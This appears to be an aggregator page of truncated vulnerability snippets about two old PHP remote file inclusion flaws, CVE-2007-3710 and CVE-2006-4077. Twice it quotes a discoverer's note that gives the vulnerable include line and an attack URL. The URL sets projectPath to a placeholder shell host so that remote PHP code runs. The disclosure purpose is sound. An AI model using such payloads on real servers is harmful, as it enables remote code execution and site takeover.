Remote file inclusion

PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...

CVE-2007-3710

The vulnerability CVE-2007-3710 affects PHP Comet-Server’s example/gamedemo/inc.functions.php, where a remote file inclusion allows an attacker to execute arbitrary PHP code. The root cause is improper handling of the projectPath parameter, enabling inclusion of remote files. The NVD metrics indi...

CVE-2007-3710

PHP remote file inclusion vulnerability in example/gamedemo/inc.functions.php in PHP Comet-Server allows remote attackers to execute arbitrary PHP code via a URL in the projectPath parameter...

phpcomet-rfi.txt

Discovered by: MasTerX ---------------- Bug in : comet/example/gamedemo/inc.functions.php Vlu Code : include$projectPath."/inc.var.php"; http://site.com/path/example/gamedemo/inc.functions.php?projectPath=http://SHELLURL.COM?...

PHP Comet-Server

Discovered by: MasTerX ---------------- Bug in : comet/example/gamedemo/inc.functions.php Vlu Code : include$projectPath."/inc.var.php"; http://site.com/path/example/gamedemo/inc.functions.php?projectPath=http://SHELLURL.COM?...

CVE-2006-4077

PHP remote file inclusion vulnerability in CheckUpload.php in Vincenzo Valvano Comet WebFileManager CWFM 0.9.1, and possibly earlier, allows remote attackers to execute arbitrary PHP code via a URL in the Language parameter...

CVE-2006-4077

CVE-2006-4077 concerns a PHP remote file inclusion in Vincenzo Valvano’s Comet WebFileManager (CWFM) version 0.9.1 (and possibly earlier). The vulnerability arises in the CheckUpload.php script through the Language parameter, allowing an attacker to supply a URL that causes the PHP interpreter to...